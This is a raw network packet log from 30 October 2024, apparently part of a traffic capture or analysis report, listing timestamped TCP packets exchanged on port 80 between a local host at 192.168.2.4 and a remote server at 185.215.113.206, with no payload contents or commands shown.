Oct 30, 2024 06:16:28.544280052 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.544290066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.544315100 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.544329882 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.544750929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.544759989 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.544769049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.544799089 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.544809103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.545089960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.545099020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.545108080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.545131922 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.545150042 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.588409901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.588421106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.588470936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.588479996 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.588486910 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.588530064 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.588537931 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.630057096 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.630074978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.630084991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.630095959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.630114079 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.630147934 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.630285978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.630321026 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.630333900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.630345106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.630371094 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.630384922 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.630639076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.630647898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.630657911 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.630677938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.630686045 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.630693913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.630711079 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.630724907 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.631268978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.631304979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.631318092 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.631325960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.631347895 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.631365061 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.631371021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.631381035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.631418943 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.662874937 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.662903070 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.662914038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.662924051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.662934065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.663043976 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.663043976 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.663130999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.663141012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.663149118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.663176060 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.663186073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.663192987 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.663227081 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.663620949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.663630009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.663639069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.663650036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.663671970 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.663696051 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.664083958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.664093971 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.664098978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.664148092 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.707616091 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.707642078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.707650900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.707793951 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.707793951 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.749303102 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.749499083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.749516964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.749526024 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.749536991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.749545097 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.749553919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.749562979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.749568939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.749588013 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.749588013 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.749610901 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.750072002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.750106096 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.750114918 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.750122070 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.750138998 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.750149012 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.750157118 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.750161886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.750170946 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.750216961 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.750735044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.750744104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.750754118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.750785112 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.750794888 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.782012939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.782018900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.782023907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.782156944 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.782167912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.782182932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.782192945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.782201052 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.782208920 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.782218933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.782227993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.782239914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.782252073 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.782273054 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.783077955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.783088923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.783097982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.783107042 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.783241987 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.783516884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.783525944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.783536911 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.783571005 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.783585072 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.825704098 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.825714111 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.825723886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.825795889 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.827011108 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.827019930 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.827028990 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.827065945 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.827080965 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.868664026 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.868674994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.868685007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.868690014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.868787050 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.868818998 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.868829012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.868838072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.868856907 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.868874073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.868884087 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.868890047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.868900061 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.868915081 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.868932009 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.869616985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.869626999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.869636059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.869663954 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.869672060 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.869956970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.869965076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.869977951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.870007992 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.870037079 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.901011944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.901185036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.901201010 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.901211023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.901218891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.901247025 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.901247025 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.901278973 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.901354074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.901398897 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.901420116 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.901431084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.901439905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.901474953 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.901490927 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.901812077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.901859045 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.901866913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.901902914 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.902033091 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.902048111 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.902060032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.902070999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.902081013 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.902090073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.902101994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.902111053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.902137041 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.902760983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.902787924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.902797937 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.902822018 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.902837992 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.944902897 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.944931984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.944941998 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.944996119 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.945051908 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.946193933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.946204901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.946214914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.946249008 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.946290016 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.987808943 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.987829924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.987842083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.987857103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.987868071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.987879038 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.987924099 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.988075018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.988090038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.988118887 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.988152027 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.988317013 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.988326073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.988334894 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.988363981 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.988372087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.988382101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.988390923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.988399982 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.988409042 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.988434076 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.988452911 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.989125013 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.989135027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.989145041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.989177942 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.989207983 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:29.020220041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.020230055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.020248890 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.020267010 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.020283937 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.020298958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.020303965 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:29.020348072 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:29.020720005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.020730019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.020740032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.020777941 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:29.020796061 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:29.020940065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.020991087 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:29.020998955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.021009922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.021044016 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:29.021054983 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:29.021068096 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.021078110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.021094084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.021101952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:29.021121025 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:29.021152020 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:29.021730900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.021739006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.021743059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.021749020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.021797895 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:29.021837950 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:29.063909054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.063921928 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.064074039 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:29.101913929 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:29.107239008 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.380084991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.380114079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.380140066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.380156994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.380172968 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:29.380193949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.380208969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.380220890 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:29.380243063 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.380259037 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:29.380291939 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:29.380573034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.380588055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.380603075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.380620003 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:29.380646944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.380654097 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:29.380666971 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.380682945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.380697012 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:29.380711079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.380733013 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:29.380764961 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:29.381356001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.381409883 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:29.381437063 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.381452084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.381468058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.381479979 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:29.381519079 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:29.533231020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.533251047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.533267975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.533284903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.533335924 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:29.533400059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.533411026 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:29.533425093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.533440113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.533451080 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:29.533483982 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:29.533648014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.533673048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.533688068 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.533698082 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:29.533731937 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:29.534007072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.534020901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.534038067 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.534049988 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:29.534064054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.534076929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.534087896 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:29.534136057 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:29.534502983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.534524918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.534540892 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.534554958 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:29.534570932 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:29.534590960 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:29.534601927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.534616947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.534631968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.534648895 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:29.534663916 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:29.534673929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.534686089 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:29.534714937 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:29.535387039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:29.535402060 CET	80	49758	185.215.113.206	192.168.2.4
